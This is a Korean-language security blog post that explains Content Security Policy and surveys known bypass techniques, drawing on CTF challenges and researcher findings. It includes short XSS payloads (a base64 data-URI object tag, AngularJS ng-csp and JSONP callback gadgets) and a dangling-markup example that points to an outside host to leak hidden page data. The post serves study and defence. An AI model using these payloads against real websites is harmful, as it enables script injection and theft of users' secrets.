CSP Bypass Tips
2020-02-11 / ar9ang3

이번에 개인적으로 CSP(Content Security Policy)를 우회해야 할 일이 있었어서 관련 자료를 조사하여 해당 내용 공유드릴까 합니다.

CSP는 Server Side에서 Client Side의 보안을 설정하여 줄 수 있는 기능입니다.

Response Header를 통해 어떤 룰을 적용할 것인지 설정 할 수 있고, 예시는 아래와 같습니다.

1
Content-Security-Policy: default-src 'self'; script-src 'self' 'ar9ang3.com' 'unsafe-inline'

위 헤더가 Response를 통해 Client Side로 전달되면 브라우저는 이를 해석하게 됩니다.

default-src는 DOM의 기본 객체(frame, script, style, img, base 등..)의 출처(resource)를 모두 설정하는 내용입니다.

script-src는 위 default-src에서 일괄적으로 설정한것이 아닌 script tag의 출처만을 설정하는 내용입니다.

설정 값 중 self는 자기 자신의 도메인만을 신뢰한다는 뜻이고, ar9ang3.com 등 특정 도메인을 지정할 수도 있습니다.

unsafe-inline은 DOM에서 일어나는 inline script를 허용한다는 뜻입니다.

따라서 위와같이 Content-Security-Policy가 적용되어 있을 경우

<script src="https://someDomain.com/test.js">, <img src="https://ar9ang3.com/test.js"> 와 같은 태그는 출처가 CSP를 통과하지 못하여 로드하지 않게 됩니다.


이러한 CSP를 만나게 된다면 XSS(Cross-Site Scripting) 취약점이 존재하더라도 실제 이를 활용한 공격(Weaponizing)은 불가할 수 있습니다.

따라서 이를 우회하기 위한 여러 연구들이 진행되어왔고, 그 중 일부를 소개해드릴까 합니다.


동일 및 신뢰 도메인 스크립트 실행이 가능한 페이지에서 불가능한 페이지에 스크립트를 실행시켜야 할 때

혹은 unsafe-inline 옵션이 켜져있을 때

  • Same or Trusted domain ( script-src ‘self’ // script-src ‘a.com’ )
  • script-src ‘self’ ‘unsafe-inline’

  • nginx 400 error, favicon.ico / robots.txt 등의 기본 페이지를 임베딩해서 스크립트 삽입 가능

  • 400 error 페이지나 favicon.ico, robots.txt 등 기본 컴포넌트에는 CSP가 동작하지 않는 것을 이용

file

  • Request URI Too Big 에러도 활용 가능

  • Cookie max size 에러도 활용 가능

file

참고문헌


angular js 등 front-end framework의 cdn을 이용한 csp bypass

  • script-src ‘self’ ‘ajax.googleapis.com’

  • ajax 등 Open Source Javascript 도구 등을 가져오기 위해 공개된 CDN에서 js를 참조하는 경우

  • 해당 js를 참조하기 위하여 CSP에 ajax.googleapis.com 등을 허용하는 경우가 있음

  • 이를 이용, callback 함수 혹은 front-end framework의 속성을 이용하여 임의 스크립트를 실행시킴

1
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26 ..
1
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src =//ajax.googleapis.com/ajax ...

etc…


Click Jacking 비슷한 dangling markup을 이용하여 csp bypass

  • 이 경우 CSP bypass라기보단 DOM 내부에 존재하는 중요 정보 (example. <input type="hidden" name="secret_key" value="SUPER_SECRET_KEY">를 공격자 서버로 임의전송 시키는 내용입니다.
1
a href=http://subdomain1.portswigger-labs.net/dangling_markup/name.html>
1
<font%20size=100%20color=red>You%20must%20click%20me</font></a><base%20target="blah

참고문헌


알려진 1day 이용

  • 특정 chromium 버전에서 발생하는 CSP 우회 기법을 이용할 수도 있습니다.

    chromium 74 dev

Chromium 78

iframe - meta 이용

@shhnjk

1
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

@akita_zen

1
<script ?/src="data:+,\u0061lert%281%29">/</script>

@404death

special thanks to posix


script-src ‘nonce-{SCRIPT_NONCE} 속성일때

  • css injection의 정규표현식으로 attribute에 접근 할 수 있는 것을 이용, 한글자씩 searching 해서 script nonce를 가져옴

file

  • 개인적으로 가장 재밌는 기법입니다. 공격자가 임의로 DOM에 내용을 쓸 수 있을 때, css의 속성을 이용하여 script-nonce를 탈취할 수 있습니다.

  • style 태그에선 CSS Selector를 통해 DOM 내부의 타 태그에 접근할 수 있습니다.

  • 이 때, 해당 태그의 attribute에도 접근이 가능한데요, 여기에 접근할 지시자를 Regular Expression으로 활용할 수 있어서 이를 활용하여 script 태그의 nonce attribute를 탈취하는 방법입니다.

    PoC

    참고문헌


script-src ‘nonce-{SCRIPT_NONCE} 속성일때 2

  • 해당 조건에서의 CSP 우회는 2019 CTF Zone 대회에서 출제된 문제(Numtonce)의 개념에서 가져왔습니다.

  • 웹 프레임워크 중 Restful하게 구현하기 위하여 index.php 하위로 오는 리소스들을 Rewrite rule을 적용하여 가져오게 구현하는 경우가 있습니다.

  • 이 때 존재하는 static file들(css, js 등)을 /index.php/static/aaa.css 와 같이 가져오게 되면 Caching이 일어나게 되어 script-nonce가 고정되게 됩니다.

  • 이를 이용(Cache Poisoning)하여 csp nonce를 고정시키고 xss를 트리거할 수 있습니다.


script-src ‘none’ 일때, header injection이 가능할때

  • 해당 조건에서의 CSP 우회는 2020 Codegate 대회에서 출제된 문제(CSP)의 개념에서 가져왔습니다.

  • script-src 가 ‘none’으로 설정되어 있을 경우 그 어느 스크립트도 해당 DOM에서 실행되지 못합니다.

  • 이 때 header injection이 가능하다면 CSP를 우회하여 임의 스크립트 구문을 실행시킬 수 있습니다.

  • HTTP Response Status Code가 102와 같은 코드를 받게 된다면 브라우저는 CSP를 해석하지 않습니다.

  • 이를 이용하여 header('HTTP/: 102') 와같이 header injection이 가능하다면 csp를 우회하여 임의 스크립트를 실행시킬 수 있습니다.